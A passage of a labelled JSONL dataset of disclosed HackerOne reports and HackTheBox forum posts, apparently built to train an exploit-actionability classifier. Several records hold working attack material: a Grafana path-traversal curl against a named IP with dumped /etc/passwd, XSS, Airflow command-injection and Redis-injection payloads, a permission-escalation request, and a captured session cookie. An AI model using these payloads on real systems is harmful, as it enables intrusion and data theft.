             exists ? result : lookup.call\n            end\n\n          instance_variable_set(ivar, memoized)[value]\n        end\n```\n\nSo by returning an api response with a `default_branch` that overrides `to_s` and `bytesize` you can call arbitrary redis commands:\n\n```json\n        {\n            \"default_branch\": {\n                \"to_s\": {\n                    \"to_s\": 'ggg\\r\\nINJECT_RESP_HERE',\n                    \"bytesize\": 3,\n                }\n            }\n        }\n```\n\nThis can be combined with a call to `Marshal.load` when loading a _gitlab_session to execute a deserialisation gadget (such as https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) and gain RCE.\n\n### Steps to reproduce\n\n1. edit {F1882976} and change the comm", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-2884"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "739e63b2dd868fac5181", "text": "Throwing my tips here since I found a cheeky way of doing this flag using mostly what you get in lesson “Bypassing Other Blacklisted Characters”. Here’s the deal, the default move command is like mv src dest … Now, HTB’s hint says it’s easier to inject at the end rather than the middle. Actually if you do both you get a quick and easy way… Start like this: try to move the flag to /tmp , it won’t work but you will get a valuable error message. Now what would happen if you would run a command like: mv source /var/www/html/tmp$(head -n 1 /etc/passwd) ? You’d get the first line of /etc/passwd in the path itself. Try to adapt this to the assessment, it doesn’t require anything advanced, no base64 encoding or reversing… all you need to use is PATH, IFS and bypass a blacklisted command", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "385f31fb0b33f42553ff", "text": "[Insecure Storage of Sensitive Information] All user password hash can be seen from admin panel\n\n# Summary:\nDuring my primary research I found that `api/users?page=1&userId=&firstName=test&lastName=&email=&partnerOrg=&highSchool=` this endpoint gives hashed password of all users.\n\n# Steps To Reproduce:\n+ Login to Admin and go to Admin--> Search Users.\n+ We see a request like this was send and in response we get the hashed password of all the users.\n\n{F1630381}\n\n##HTTP Request:\n\n```\nGET /api/users?page=1&userId=&firstName=test&lastName=&email=&partnerOrg=&highSchool= HTTP/2\nHost: hackers.upchieve.org\nCookie: connect.sid=s%3AaF9AzSGty6cZOHNTyahImdIzUoSDCWuB.ofJzU1Tr25W2Kd2unMFlpS66K4VsPtK3YE0xmHvUZGU; _gcl_au=1.1.2044852401.1644683211; _ga=GA1.2.1811282066.1644683221; _csrf=whFQZop0bR6xQh6KtmNQLBfS; __cf_bm=2KDOr5.OqRrhRkG3HhcUs0vp57z5O6ajxpDfiZBVfGA-1645624338-0-AU9Yc7GzGOeS+GILwGKIEWzbToj/4SEhBw5wog9uHW0rWkomQxhuC756xXzHVx5vQZWpm8qGUUNBPxFB6cvtTQ9BfzCJWA5Zq9jDYP3Z9p+Olw+qCSjBa/rjulVDF51Kjg==; io=zIQg9SCEJ_ZblHVdAAAy; _gid=GA1.2.1980510602.1645624337; ph_bogus_posthog=%7B%22distinct_id%22%3A%22619ea2c8488636001138121f%22%2C%22%24device_id%22%3A%2217eeec24dba290-06a553129ffb21-4c3e227d-1fa400-17eeec24dbb903%22%2C%22%24user_id%22%3A%22619ea2c8488636001138121f%22%2C%22%24initial_referrer%22%3A%22%24direct%22%2C%22%24initial_referring_domain%22%3A%22%24direct%22%2C%22%24referrer%22%3A%22%24direct%22%2C%22%24referring_domain%22%3A%22%24direct%22%2C%22%24session_recording_enabled%22%3Afalse%7D\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nNewrelic: eyJ2IjpbMCwxXSwiZCI6eyJ0eSI6IkJyb3dzZXIiLCJhYyI6IjI2NzQ5NzQiLCJhcCI6IjQyOTE2Mzc1MCIsImlkIjoiNzFhMzgxOGNjZDQ2OGNkYyIsInRyIjoiYjBiM2Q0YTI3N2NjZDZmODBmOWU2NWIwODBlY2U1NDAiLCJ0aSI6MTY0NTYyNTExMDY0N319\nTraceparent: 00-b0b3d4a277ccd6f80f9e65b080ece540-71a3818ccd468cdc-01\nTracestate: 2674974@nr=0-1-2674974-429163750-71a3818ccd468cdc----1645625110647\nX-Csrf-Token: KeypPQND-ch0LQMIPkTckMoZdYHTBgA4Mha0\nX-Requested-With: XMLHttpRequest\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nTe: trailers\n```\n\n## Impact\n\nChances that weak passwords can be cracked and people might have same passwords for email and other places.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fac12c33604585380f6f", "text": "[Unknown] path traversal vulnerability in Grafana 8.x allows \" local file read \"\n\nHi team,\nI've found a path traversal issue in the Grafana instances hosted on the MTN platforms. With the path traversal it's possible for an unauthenticated user to read arbitrary files on the server.\nThis IP \" 41.242.91.22 \" Domain Name \" mtn.com.gn \"  is for MTN Group \n\n{F1545670} {F1545682}\n\n##Steps To Reproduce:\n1. Open url address  :  http://41.242.91.22:3000/login\n\n{F1545653}\n\n2. File Read server for example /etc/passwd : \n\nRun the following command on the mac, linux terminal\n\n```curl http://41.242.91.22:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd```\n\nRespons:\n\n```\nMacBook-Pro ~ % curl http://41.242.91.22:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npolkitd:x:999:998:User for polkitd:/:/sbin/nologin\nlibstoragemgmt:x:998:996:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin\ncolord:x:997:995:User for colord:/var/lib/colord:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nsaslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nrtkit:x:172:172:RealtimeKit:/proc:/sbin/nologin\nradvd:x:75:75:radvd user:/:/sbin/nologin\nqemu:x:107:107:qemu user:/:/sbin/nologin\ngluster:x:995:992:GlusterFS daemons:/run/gluster:/sbin/nologin\nchrony:x:994:991::/var/lib/chrony:/sbin/nologin\nunbound:x:993:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin\nusbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin\ngeoclue:x:992:988:User for geoclue:/var/lib/geoclue:/sbin/nologin\nsetroubleshoot:x:991:987::/var/lib/setroubleshoot:/sbin/nologin\npulse:x:171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin\ngdm:x:42:42::/var/lib/gdm:/sbin/nologin\nsaned:x:990:984:SANE scanner daemon user:/usr/share/sane:/sbin/nologin\ngnome-initial-setup:x:989:983::/run/gnome-initial-setup/:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\navahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nntp:x:38:38::/etc/ntp:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\ninfraop:x:1000:1000:infraop:/home/infraop:/bin/bash\nnginx:x:988:982:Nginx web server:/var/lib/nginx:/sbin/nologin\narmand_k:x:1001:1001::/home/armand_k:/bin/bash\ndeploy:x:1002:1002::/home/deploy:/bin/bash\npostgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash\nmemcached:x:987:980:Memcached daemon:/run/memcached:/sbin/nologin\nredis:x:986:979:Redis Database Server:/var/lib/redis:/sbin/nologin\napache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin\nuwayo:x:1003:1003::/home/uwayo:/bin/bash\nmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false\nmugabo:x:1004:1004::/home/mugabo:/bin/bash\nnimble:x:985:978:user for Nimble Streamer:/etc/nimble:/sbin/nologin\narnold:x:1005:1005::/home/arnold:/bin/bash\nas_ftp:x:1006:1006::/home/as_ftp:/bin/bash\ntoure:x:1007:1007::/home/toure:/bin/bash\nmayur:x:1008:1008::/home/mayur:/bin/bash\nprometheus:x:1009:1009::/home/prometheus:/bin/false\nsd-agent:x:984:977:Server Density Agent User:/usr/bin/sd-agent/:/bin/bash\nnode_exporter:x:983:976::/home/node_exporter:/bin/false\ngrafana:x:982:975:grafana use", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8666abefc731a66678c3", "text": "[Cross-site Scripting (XSS) - Reflected] XSS at http://nextapps.mtnonline.com/search/suggest/q/{xss payload}\n\nPoC\n```\nhttp://nextapps.mtnonline.com/search/suggest/q/xss<img%20src=x%20onerror=alert()>1337\n```\nSymbols <'/\"> are no filtered that alloweds to inject HTML code. Response has content-type: text/html\n{F1353600}\n\n## Impact\n\nXSS at nextapps.mtnonline.com", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "14befeec494257471c48", "text": "[Heap Overflow] Heap overflow via HTTP/2 PUSH_PROMISE\n\n## Summary:\nlibcurl HTTP/2 support processes incoming `PUSH_PROMISE` headers by storing them in an array. The code initially allocates storage for 10 headers and then keeps doubling the array size as needed: \n```\n      stream->push_headers_alloc *= 2;\n      headp = Curl_saferealloc(stream->push_headers,\n                               stream->push_headers_alloc * sizeof(char *));\n```\n(https://github.com/curl/curl/blob/07a9b89fedaec60bdbc254f23f66149b31d2f8da/lib/http2.c#L1053)\n\nOn 32-bit platforms after receiving 10 << 26 headers the the allocation size will overflow, resulting in too little memory being allocated (`(10 << 27) * sizeof(char *)` will be truncated to lower 32-bit resulting in 1 GB storage being allocated) for the array. Subsequently the pointers will be written to unallocated memory by `stream->push_headers[stream->push_headers_used++] = h;`\n\n## Steps To Reproduce:\n  1. Have HTTP2 server  that sends more than 1 << 26 `PUSH_PROMISE` headers\n  2. `curl https://targetsite`\n\nThe fix is to limit the amount of promise headers that are accepted and return error if too many are received.\n\n## Impact\n\nHeap overflow.\n\nThis issue is likely very hard to trigger as it requires a system where realloc for `(1 << 26) * sizeof(char *)` bytes is successful.  This is rather rare. In addition to be exploitable in other than denial of service capacity the attacker would need to find out some way  way to obtain code execution by the array overflow. This would  likely work by having some object get  allocated to the newly released heap memory and then get overwritten by this array pointer write. An example would be an object that has pointer to command to execute.\n\nAs such the practical impact of this vulnerability is low.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d8c89976e833ca1fe231", "text": "[Command Injection - Generic] CVE-2022-38362: Apache Airflow Docker Provider <3.0 RCE vulnerability in example dag\n\nApache Airflow Docker's Provider shipped with an example DAG that was vulnerable to (authenticated) remote code exploit of code on the Airflow worker host.\n\n##Vulnerability summary:\nIn DAG script of airflow 2.3.3, there is a command injection vulnerability (RCE) in the script (example_docker_copy_data.py of docker provider), which can obtain the permission of the operating system. \n\nsource path: \nairflow-2.3.3/airflow/providers/docker/example_dags/example_docker_copy_data.py\n\n##Vulnerability details：\n(1) Vulnerability principle：\n1. It can be seen from the source code of  example_docker_copy_data.py script that there is the function of executing bash command, The parameter ‘source_location’ in the template expression {{params.source_location}} is externally controllable and rendered through the jiaja2 template: \n\n{F1869746}\n\n2. Further analysis “from airflow.operators.bash import BashOperator” code, we can see bash_command parameter value will be executed as a bash script;\n\n{F1869748}\n\n(2)Vulnerability exploit：\n1. Enter the DAGs menu and start docker_sample_copy_data task, select “Trigger DAG w/ config”. \n\nhttp://192.168.3.17:8080/trigger?dag_id=docker_sample_copy_data\n\n{F1869749}\n\n2. To construct payload, we can separate commands with ‘;’, so as to inject any operating system commands to be executed(RCE).\n\n{F1869750}\n\nPAYLOAD：```{\"source_location\":\";touch /tmp/thisistest;\"}```, Then click trigger to execute the task.\n\n{F1869755}\n\nThe final command is as follows:\n```locate_file_cmd = “”” sleep 10\nfind ;touch /tmp/thisistest; -type f -printf “%f\\n” | head -1\n“””\n```\n\nThrough the log and server view, it can be seen that arbitrary command has been executed successfully.\n\n{F1869756}\n\n{F1869757}\n\n## Impact\n\nAn attacker can execute arbitrary commands on the airflow host.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-38362"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b804a0e22e1d01500266", "text": "[Cross-site Scripting (XSS) - Generic] Reflected Xss in [██████]\n\n**Description:**\nReflected XSS in █████████ due to unsanitized single quote `'`. \n## Impact\nAn attacker could execute arbitrary javascript, and perform malicious actions !\n\n## Step-by-step Reproduction Instructions\n\n1. Used payload:  `simo%27onfocus=%27confirm(document.domain)%27name=%27simo%27#simo`\n2. Visit the url, the alert box should pop up !:   \n`https://www.█████/gri/ziptool/search.aspx?a=1simo%27onfocus=%27confirm(document.domain)%27name=%27simo%27#simo`\n\n█████████\n\n## Suggested Mitigation/Remediation Actions\nSanitize single quote !\n\n## Impact\n\nAn attacker could execute arbitrary javascript in the client browser .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c0a184abec879b9fa380", "text": "[Use After Free] Occasional use-after-free in multi_done() libcurl-7.81.0\n\nWe are seeing the use of a `struct connectdata *` on a thread after it was returned to the connection cache (and thus available for use on other threads including potential deallocation) in `multi_done()` in libcurl-7.81.0.  This could occasionally result in an actual use-after-free, witnessed on Windows 10 platform.\n\n## Steps To Reproduce:\n- [`multi_done()` line 717](https://github.com/curl/curl/blob/curl-7_81_0/lib/multi.c#L717) a call is made to `Curl_conncache_return_conn()`\n- `Curl_conncache_return_conn()` returns `TRUE` (conn was returned to the cache and available for use in other threads) and execution continues on [line 719](https://github.com/curl/curl/blob/curl-7_81_0/lib/multi.c#L719) where the code derefs the now unowned `conn` to get the `connection_id`\n- We have a fork with a [commit](https://github.com/luminixinc/curl/commit/e8560cb3a2aa0c104d1afcc77490b70bad1ce9cd) that both tests (inline, not formally) and offers a potential fix for this issue.\n- See attached screenshot showing assert firing in debug build\n\n## Impact\n\nUnsure.\n\nI'm not a hacker, and would have been happy to submit this as a GitHub issue instead, but _discretion being the better part of valor_, decided to post this issue here instead :)\n\nTangentially, I do not care to get credit or receive a bounty for this issue.  Would be great to get this fixed as I suggested or in some other manner, thanks!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bfddde251db2344e9b49", "text": "[Authentication Bypass Using an Alternate Path or Channel] Admin.MyTVA.com Customer lookup and internal notes bypass\n\n## Summary:\nThe admin.mytva.com site does not properly secure the admin only endpoints, which can allow an attacker to bypass the login and take actions like looking up customers. The endpoints can be enumerated through the forgot password function.\n\n## Steps To Reproduce:\n\n\n  1. Navigate to https://admin.mytva.com/Account/ForgotPassword.aspx and enter 'admin' as the ID\n  2. Wait on the admin email to appear (this should also be restricted)\n  3. Attempt to send the reset password and capture the request with BURP\n4. Review the response to the request for new endpoints. Some of them that will stand out are:\n/Evaluation/EditNotes.aspx?ProjectId=\n/Evaluation/HOEvalDetailWONav.aspx?ProjectID=\n/Tools/Customer/AddressLookup.aspx\n5. The endpoints do not protect themselves for bruteforcing either, so the attacker can now attempt to retrieve further information or add internal/customer notes\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nUnprotected endpoints may lead to a data breach. It would be recommended to check the logs for previous attacks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "210d3cd0895c839aaff8", "text": "[Inconsistency Between Implementation and Documented Design] DiffieHellman doesn't generate keys after setting a key\n\nDiffieHellman doesn't generate keys after setting a key\n\n## Steps To Reproduce:\n\n  1. Instantiate: `const dh = crypto.createDiffieHellman(1024);`\n  2. Set private key: \n```\n//set private key to 2\ndh.setPrivateKey(Buffer.from(\"02\", 'hex'));        \n//outputs 02 (as expected)\nconsole.log(dh.getPrivateKey().toString('hex'));  \n```\n  3. Generate random private key:\n```\n//generate random private key\ndh.generateKeys();                                 \n//outputs 02: zero day.\nconsole.log(dh.getPrivateKey().toString('hex'));   \n```\n\n## Underlying issue:\n\nOpenSSL (https://github.com/majek/openssl/blob/master/crypto/dh/dh_key.c) doesn't generate keys when they're already instantiated: \n\n```\nif (dh->priv_key == NULL)\n  {\n  priv_key=BN_new();\n  if (priv_key == NULL) goto err;\n  generate_new_key=1;\n  }\nelse\n  priv_key=dh->priv_key;\n\nif (dh->pub_key == NULL)\n  {\n  pub_key=BN_new();\n  if (pub_key == NULL) goto err;\n  }\nelse\n  pub_key=dh->pub_key;\n```\n\nnode:crypto should use OpenSSL correctly. Method `generateKeys()` should re-instantiate OpenSSL before requesting a key, thereby avoiding the above.\n\n## Impact\n\nDiffieHellman may be used as the basis for application level security, implications are consequently broad. E.g., key reuse can cause major problems, cryptanalysis may break confidentiality, integrity, ...", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7f78c4760ee79b581a89", "text": "This command worked for me for both logs and bak files: find / -type f -name *.bak -exec ls -al {} ; 2>/dev/null |wc -l", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ecf53d2c8684df5bee88", "text": "[Business Logic Errors] libssh backend CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 validation bypass\n\n## Summary:\nIf libcurl is built against libssh `CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256` is quietly ignored. As a result a SSH connection will be established even if the SHA256 key set doesn't match.\n\n## Steps To Reproduce:\n\n  1. configure libcurl with libssh and build it\n  2. `curl --hostpubsha256 HOSTFINGERPRINTHERE sftp://example.tld/`\n\nInstead of  failing due to mismatching fingerprint the connection quietly continues.\n\nWhile the `CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 ` documentation does mention that this option `Requires the libssh2 backend`, it is still wrong to quietly ignore the validation.\n\n## Remediation\n\nChange `lib/vssh/libssh.c` `myssh_is_known` to reject connection if `CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256` is set, or implement sha256 fingerprint support for libssh.\n\n## Impact\n\nSSH host validation bypass.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "44a77ce8e0cfb4e26c0f", "text": "[Information Exposure Through an Error Message] Tor Project - Full Path Disclosure\n\nHi there,\n\nWhile you are primarily interested in the network/browser issues, I would like to report a web bug I discovered and thought the best place to do that would be here.\n\n# Vulnerability\n\nType: Full Path Disclosure [CWE-209]\nAffected endpoint: https://explorer.ooni.torproject.org\nExample: https://explorer.ooni.torproject.org//x\n\n# Details\nVulnerability details as follows.\n\n## Impact\nThis security vulnerability could potentially allow a malicious hacker to map an attack against internal systems. For example, if this were to be chained with another vulnerability such as path traversal; it may lead to compromise of internal systems.\n\n## Mitigation\nTypically these sort of errors occur from incorrect data types, in this case it seems like it is just a simple 404 page which is however leaking too much information to the user. \n\nA best practice method is to log these type of errors to a local text file, while showing the user a friendly 404 message. This is often achieved by disabling error reporting on the application side.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9eaeddfd8afac2ae7cf0", "text": "Rapunzel3000: within the >1000 lines HTTP-response, I would have never figured out any reaction to command injection attemps. I can give one more recommendation: Look for different ways to start a sub-shell, as neither && not || worked for me! got it!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8ddb07dc3bab282e5196", "text": "[Cryptographic Issues - Generic] Node 18 reads openssl.cnf from /home/iojs/build/... upon startup.\n\n> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\n**Summary:**\nI noticed that when Node 18 (18.4.0 on Ubuntu, 64-bit via Docker) starts, it attempts to read `/home/iojs/build/ws/out/Release/obj.target/deps/openssl/openssl.cnf`, which ordinarily doesn't exist. I haven't proven this out, but I suspect that if one were to create this file, it would be read and processed as a normal OpenSSF configuration file. The attack would be an attacker on a shared Linux host with a self-chosen username (`iojs`) being able to affect the OpenSSF configuration of other users. I believe the `iojs` home directory is something configured within the Node.js build/CI pipeline, as opposed to something internal to OpenSSL.\n\n**Description:**\n\n## Steps To Reproduce:\n\n  1. Install Node.js 18.4.0 on Ubuntu (`wget 'https://nodejs.org/dist/v18.4.0/node-v18.4.0-linux-x64.tar.xz' && tar Jxvf ./node-v18.4.0-linux-x64.tar.xz && cd node-v18.4.0-linux-x64/bin` and strace (`sudo apt-get install strace`).\n  2. Run node (no parameters) under strace, and watch for `open` syscalls pointing to the openssf.cnf file (`strace -f -ff -e trace=network,file,process -s 128 -D ./node 2>&1 | grep openssl`)\n  3. See the read attempt:\n\n```\nroot@bd9a1157008b:/usr/src/app/node-v18.4.0-linux-x64/bin# strace -f -ff -e trace=network,file,process -s 128 -D ./node 2>&1 | grep openssl\n[pid  1536] openat(AT_FDCWD, \"/home/iojs/build/ws/out/Release/obj.target/deps/openssl/openssl.cnf\", O_RDONLY) = -1 ENOENT (No such file or directory)\n```\n\nI did *not* see this occur when testing 16.15.1 (also Ubuntu, 64-bit), but I *do* see this in 17.0.0, which suggests it came in with the move to OpenSSL 3.0 ([change log](https://github.com/nodejs/node/blob/main/doc/changelogs/CHANGELOG_V17.md#17.0.0)).\n\n## Impact:\nI'm presuming that the openssl.cnf file is being read as part of OpenSSL's initialization; this is likely used to configure Node.js, though admittedly, it might be overwritten afterwards with a \"correct\" configuration.\n\n## Supporting Material/References:\n\nN/A\n\n## Impact\n\nThe openssl.cnf file contains security configuration information for OpenSSL. It's possible that changing things like default ciphers could affect the security of an application using it. (Admittedly, I'm not super familiar with this -- I'm definitely making some assumptions.)", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "49cc3c6b1fed53eabdbc", "text": "[Violation of Secure Design Principles] Password reset token leak via \"Host header\"  on third party website\n\nHi Security Team,\n\n#Product / URL\nhttps://your-store.wholesale.shopifyapps.com/\n\n#Description\nIt has been identified that the application is leaking Token to third party sites. In this case it was found that the Token is being leaked to third party sites which is a issue knowing the fact that it can allow any malicious users to use the reset password of user.\n\n\n#Reproduction Instructions /\n1) Send reset password link to your email address.\n2)Now go to email, turn burp suite intercept on and click on reset password link. Check for the requests having the token in \"host\" as third party website. And copy the link\n3)Now turn intercept off and reset the password.(with that link)\n4)Now reset the password.\n\n#Proof of Concept\nF1180911\n\n#Additional Information:\nNote also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.\n\n## Impact\n\nAs you can see in the `Host` the reset token is getting leaked to third party sites. So, the person who has the complete control over that particular third party site can Use the Token easily.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a78727e73b8e37561693", "text": "[Unknown] Federated share permissions can be increased by recipient\n\n1. userA on serverX does a federated share to userB on serverY (this by default is read only)\n2. userB accepts the share\n3. userB does a request to\n\n```https://SERVERY/apps/federatedfilesharing/notifications```\n\nWith the content. Replacing the SHARE_TOKEN, and the SHARE_ID they find in their database\n\n```\n{\n    \"notificationType\": \"RESHARE_CHANGE_PERMISSION\",\n    \"resourceType\": \"file\",\n    \"providerId\": \"SHARE_ID\",\n    \"notification\": {\n        \"sharedSecret\": \"SHARE_TOKEN\",\n        \"permission\": [\"read\", \"write\", \"share\"]\n    }\n}\n```\n\n4. userB now has full access\n\n## Impact\n\nA recipient can increase their permissions trivially", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "69d8429f60eb4284bd7a", "text": "[Cross-site Scripting (XSS) - Stored] stored cross site scripting in https://████\n\nIt was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser.\npoc attached\nanother parameter at #1636345\nq_13794\npayload: %22%27%3e%3csvg%2fonload%3dconfirm(666)%3e\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nvideo attached\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4674ea6eb38899bb353b", "text": "Can somone help me with “What filter will allow me to see traffic coming from or destined to the host with an ip of 10.10.20.1” i tried every possible answer i could think of Q1 Tcpdump packet filtering", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8ada0951b6e91c73073", "text": "[Unknown] Twitter Account hijack @nextcloudfrance\n\nBroken Link Hijacking (BLH) is a web-based attack where it exploits external links that are no longer valid. The attackers take over this expired, stale, and invalid external links on credible websites or web applications for malicious or fraudulent purposes.\n\nLink Hijacking attacks occur because the website/ web application continues to contain links to expired/ stale resources/pages (loaded using external URLs).\n\nSteps :\n\n1. Go to https://nextcloud.com/fr/\n\n2. Go to last and click on Twitter icon.\n\n3. It redirects you to the\n https://twitter.com/nextcloudfrance\n\n4. It gives 404 at first and i takeover the username for Testing Purpose .\n\n5. If you go to https://nextcloud.com/fr/ and click on Twitter Icon , now it redirect you to Attacker ( My ) Profile .\n\nThe best way to prevent Broken Link Hijacking attacks is to proactively identify such stale/ dead links and remove them from the website regularly. \n\nRef :\nhttps://hackerone.com/reports/1031321\nhttps://hackerone.com/reports/1607429\n\n## Impact\n\nSince the link can be hijacked so any attacker can claim the link and make fake twitter profile of Nextcloud  and can do scam with them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
